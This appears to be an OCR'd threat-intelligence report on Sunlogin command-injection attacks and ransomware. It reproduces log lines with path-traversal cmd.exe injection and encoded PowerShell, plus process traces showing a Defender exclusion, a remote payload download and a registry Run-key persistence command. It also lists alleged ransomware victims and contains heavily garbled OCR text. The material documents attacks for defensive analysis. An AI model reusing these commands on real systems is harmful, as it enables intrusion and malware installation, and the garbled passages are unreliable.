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2023-02-01 06:59:22. Info [service][TcpAcceptor] new acceptor 45.77.29.56:58478-->192.168.0.175:49672
:59:22. Info [Acceptor][HTTP] new RC HTTP connection 45.77.29.56:58478, path: /cgi-bin/rpc, version: HTTP/1.1
:59:22. Info [Acceptor][HTTP] new RC HTTP connection 45.77.29.56:58478, /cgi-bin/rpc, plugin:cgi-bin, session:
:59: Info [service][Tcpcceptor] new acceptor 45.77.29.56:58480--5192.168.0.175:49672
:59 Info [Acceptor][HTTP] new RC HTTP connection 45.77.29.56:58480, path: /check>cmd=ping../../../../.-/.. . . Jwindows/
en32/ cnde/ K7 Cemdt/crechorhaning @, version: HTTP/1.1
-02-01 06:59:22.307 - Info - [Acceptor][HTTP] new RC HTTP connection 45.77.29.56:58480, /check2cmd=ping../..[../--/. - /windous/
system32/cmd+/c%¥7Ccmd+/c+echo+harind_0, plugin:check, session:OpTg8DyapYAUt44goAUmhM2vpShQNVR]
:59:25.197 - Info [service][TcpAcceptor] new acceptor 45.77.29.56:58494-->192.168.0.175:49672
- Info [Acceptor] [HTTP] new RC HTTP connection 45.77.29.56:58494, path: /cgi-bin/rpc, version:
Info [Acceptor] [HTTP] new RC HTTP connection 45.77.29.56:58494, /cgi-bin/rpc, plugln cgi-bin,
Info [service][TcpAcceptor] new acceptor 45.77.29.56:58496--5192.168.0.175:49
Info [Acceptor][HTTP] new RC HTTP connection 45.77.29.56:58496, path: /check? mdfplng../ e b s Juindows/
en32/cmd+/cX7Ccmd+/c+echo+haring_@, version: HTTP/1.1
-02-01 06:59:25.386 - Info - [Acceptor][HTTP] new RC HTTP connection 45.77.29.56:58496,/check2cmd=ping. ./ /. % . /windows/
system32/cmd+/c%7Ccmd+/c+echo+haring_@, plugin:check, session:5UhahvXIw8cB2B12vm7KLpu7z9YESCZT
2023-62-01 07:00:00.934 - Info - [service][TcpAcceptor] new acceptor 45.77.29.56:58500--5192.168.0.175:49672
.934 - Info - [Acceptor][HTTP] new RC HTTP connection 45.77.29.56:58500, path: /check>cmd=ping../../../-./../..[-./-.]../windows/system32/cmd+/c
%7Ccmd+/ c+powershel1%20-enc%20SQBFAF gATAACACEADEBLAHCAL QBVAGI AagB1AGMAdAAZAGAAZQBOACAAdWB 1AGTAYuBSAGKAZQBuAHQAKQAUAGQADWBIAGAADABVAGEAZAB zAHQA CgBPAGAAZWAOACCAABBAHQA
cABZADOALWAVAHUACABSAGBAYQBKACAACABHAHTAYQBKAGKACUBAGAAZQB3AGCAZQBUAHMAZABPAGAA A tAHAAVQE'iAHGALgEHAGBAchADEALngAW\AHQAnAC AKQA-, version: HTTP/1.1
2023-62-61 07: .934 - Info - [Acceptor][HTTP] new RC HTTP connection 45.77.29.56:58508,/check? ing o) S oy /. ./windows/system32/cmd+/c%7Ccmd+
/c+powershel1%20-enc%28SQBF AFgATAAGACEAbEBIAHCAL QBvAGIAagBlAGMAJAAGAGAAZQBOACAAdWBIAGIAYWBS AGH.\ZQEuAHQAkQAuAGQAhmB}AGAAhABvAGEALABVAHQAchpAGAALwAc-ACLAEABBAHQA(AﬂvADo
ALWAVAHUACABSAGEAYQBKACAACABhAHIAYQBKAGKACWBIAGAAZQB3AGCcAZQBUAHMASABPAGAAaQBLAHAAY(QBAHQAL gBBAGBACAAVADEAL gBWAHMAMQANACKAKQA=, plugin:check,
session:5UhahvXIw8cB2B12vm7KLpw729YESCZI
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- £ \Progran Files\Oray\SunloginiSunloginClient\SunloginClient. exe ["—mod=service"1
€ WindowsiSysnativehond exe [0 omd /o echo Waring 0"]

| C: Windows\Sysnativelond exe  ["/s ond /o echo Waring "]
S £3C: Windows\Iysnativelond. exe
C:Windons"Sysnative WindowsPowerShellivl. O\povershell exe ["powershell Add-MpPreference ExolusionPath \"a:\\Wsersiinitotol” "]

=5/ £: Windovs\Sysnativelend exe
90 Windows\Sysnativelond exe  [*/5 ond /o echo Waring 07]
€ Windows\Sysnativebond exe  [*/o echo Waring 0]

5 C3E: Windors\Sysnative\ond. exe

C: WindowsiSysnativeWindousPouerShel 1wl O\povershell exe ["povershell (Newflbject Wet WehClient) NownloadFile( https://upload paradisenewgenshininpact. top/DF Main exe’,” ot {\Wsers\imiloto\\IF Main exe’ )*]
2 C: Windows\Sysnativelond exe

S 30 Windovs\Sysnativelend exe  [“/o reg add \'HEEY_CURRENT USERY\Sof twar et \Mi cr osof t)Windows\\Curr entVer st o} \RunServi ceslince’” /v Pentestlah /t REG ST /d o \iUsershimiHolat\0F Main exel’ /£ *]

C:indons'Sysnativelres exe  ["add \"HKEY_CURRENT_USER\\Softwar=\\Wioroseft\Windows\\CurrentVersion\\RunServicesinoe” /v Pentestlab /t REG_SZ /2 Vo \Users\\niHolod \DP Main exel” /£ "]

=2 C: Windows\Sysnativelond. exe
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LockBit 50.61%

indigo.ca

hafele.com

thinkwelty.com

INDIKA ENERGY GLOBAL

Coole Bevis Solicitors

haeco.com

nokair.com

princepalace.co.th

globalcommunities.org

cobcreditunion.com

wmich.edu

georgeleslie.co.uk

df.senac.br

Isa-international.com

Ingenico

MSX International

hyosung.jp

rosenbauer.com

pcproductsinter.com

carveraero.com

bocca-sacs.com

WCSO.US

moci.gov.kw

wsisd.com

Chowtaifook

ilfsindia.com

cotteeparker.com.au

G&G Electronics

McEwan Fraser Legal

MESSER CUTTING SYSTEMS

ZURCAL

ispace.com

InPro electric

Schwartz Hautmont Port Shop

Smarter Capital

The Keen Group

PRESTIGE MAINTENANCE

Kendall Hunt Publishing

Empresa Distribuidora de

Electricidad del Este

Glovers Solicitors LLP

FICCI

AESCULAPIUS Farmaceutici

Bond It

Stone and Electrical Contractors

Moose, Martin, Haynes & Lundy

RAYAB Consulting Engineers

BULOG

AASP

nougat-carlier.be

siqueiracastro.com.br

fosterfarms.com

skylinetrisource.com La Filipina Markas
Summit Brands FUTURE BUILDINGS City of Lakewood
EncinoEnergy vuu.edu beacontech.net

treves-group.com

lyonhealy.com

lasegunda.com.ar




Highwealth

Hopsteiner

UNIS

DALLAS SCHOOL DISTRICT

Ancora - Sistemas de Fixacao

carlocksystems.com

International Center of

Photography

elliotthomes.com

anthonymartin.be

BakerMechanicallnc.com

jetboxcargo.com

servicesfinanciersjdf.com

laremo.de

Hengmei Optoelectronics Co.,Ltd.

Wawasee Community School

Cansew Corporation SINGLESOURCE
championfp.com sandycove.org isosteo.fr
diavaz.com aguasdoporto.pt inowai.com

primorossi.com.br

piercetransit.org

innophaseinc.com

hotdesk.me alliedtools.com NESG
Fibertec Suburban Laboratories cordfinancial.com
fikes.com newbridge.org AP Emissions Technologies

vissan.com.vn

myerspower.com

ziapueblo.org

royallepage.ca

vitrox.com

Evans Consoles

coreautomation.com

Mitchell Lewis Staver

California Northstate University

Hydrofit Alliance Ltd

Gallier Orléans

Mecaro Co., Ltd

blackandwhitecabs.com.au trudi.it Foamtec International
semsinc.net vipar.com nationallocums.co.uk

richardsind.com montibello.com AMADA WELD TECH

Eureka Casino Resort PetroChina Indonesia Vitas

Banco Sol

Leal Group

gruppobeltrame.com

Microgame SpA

Energie Pool Schweiz

Alexandercity

Delallo cefcostores.com albanesi.com.ar
srf.com Hospital Service SpA cassaragionieri.it
Reventics vanderkaay.com dana-group.com

mangalagroup.com

nonson.com.vn

hidalgocounty.us

tucsoneyecare.com

chempartner.com

laganscg.com

mdstrucking.com

greekpeak.net

Elim Clinic

PFA Systems EnCom Grace Church International
Integerity Tax Aglobis Diethelm Keller Aviation Pte Ltd
EightPixelsSquare Tonga Communications Bank of Africa

European Window

Elektro Richter

albouyassociesconsult

olsenlawgroup.com

wilsonart.co.th

ppinvestors.com

mhstech.com

Ihermite-agri.com

Inland Group

covermeinsurance.com

mrkpc.com

maysecc.com

interpaving.com

Cork Institute of Technology

Munster Technological University

Thompson Safety

HAK Grazbachgasse

Aviacode (GeBBS)

B&G Foods (CA, US)

Tucson Unified School District

Jeffries Morris

Luna Innovations

iongroup.com

arcessex.org

phihong.com.tw

Mount Saint Mary College

ACS

Al0

Cave Beblenheim

Trendsetter Engineering




Menken Orlando

JReynolds

Kerber, Eck & Braeckel LLP

transports-feuillet.fr

Penn Power Group

royalmailgroup.com

Ultralife Corporation

Hamilton Parker

The DGCX

pharmagestao.com.br

Casa Ley

MWI Animal Health

AmerisourceBergen/Censora

teleapps.com

Woodmeister Master Builders, Inc.

TK Elevator ANXA Advance2000

hkri.com medellin.gov.co etbrick.com
INNOVATION COLLABORATION

jams.edu.jo SYNERGY nicklaus.com

prlabs.com wcinet.com crispinvalve.com

El-Mohandes Schandy Finaport

bplawyers.co.id

Five Guys Enterprises, LLC

nexuspoint.com

virtuosgames.com

urmgroup.com.au

Point Dedicated Services

redfordpd.com jjdentistry.com CannonDesign
guardiananalytics.com sakrgroup.net crystalcreamery.com
tonoli.com scandia.ro bethrivkah.edu
fabricatedpipe.com kostika.co.il seelllc.com

biosonicsinc.com

nlsmichigan.org

plasmasurgical.com

avantetextil.com.mx

byte.gr

transportsn.com
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Others 0.27%

Windows 10 2.97%

Windows Server 2003 7.95%

Windows Server 2016 8.09% Windows Server 2008 43.37%

Windows 7 37.35%
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UTRAR LEERSRE R BRSTT, HIEKE 360 HRRMHRRKSIE,

®  devos: ZEHBHZ=FER, HWRIEME X GERSIRIEB N devos T AKX EIE. BARBSERNE
phobos $IZHMHRE, ZFXENETEZEAR N BEIEABMRETEREOSHIEFHES.

® mallox: BT TargetCompany(Mallox)# R 5Kk, HTHINE XMHEBRRWIEH A mallox T A
@i, TEBIRNWHLEREE DL HRIIEFHREM SQLGIobelmposter & 1T154%. IsH
360 REABUSEENZR RGBT EH B MEHRTEE.

® 360 BT BeijngCrypt BIRZRMIK, HTHINEXHERESWELA 360 M N XEIE, ZREKE
EEETN A BERNWHLIEREASHRIETHRE, ARG EETEIERES QSR EHT
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® Halo: [ 360,

® mkp: BT Makop BIRE M5k, ATHWMBXXHRBSBIEN D mkp TR AREE. ZFKEEE
MEETNAN BUERNEBLIEREOSHNETFIRE.
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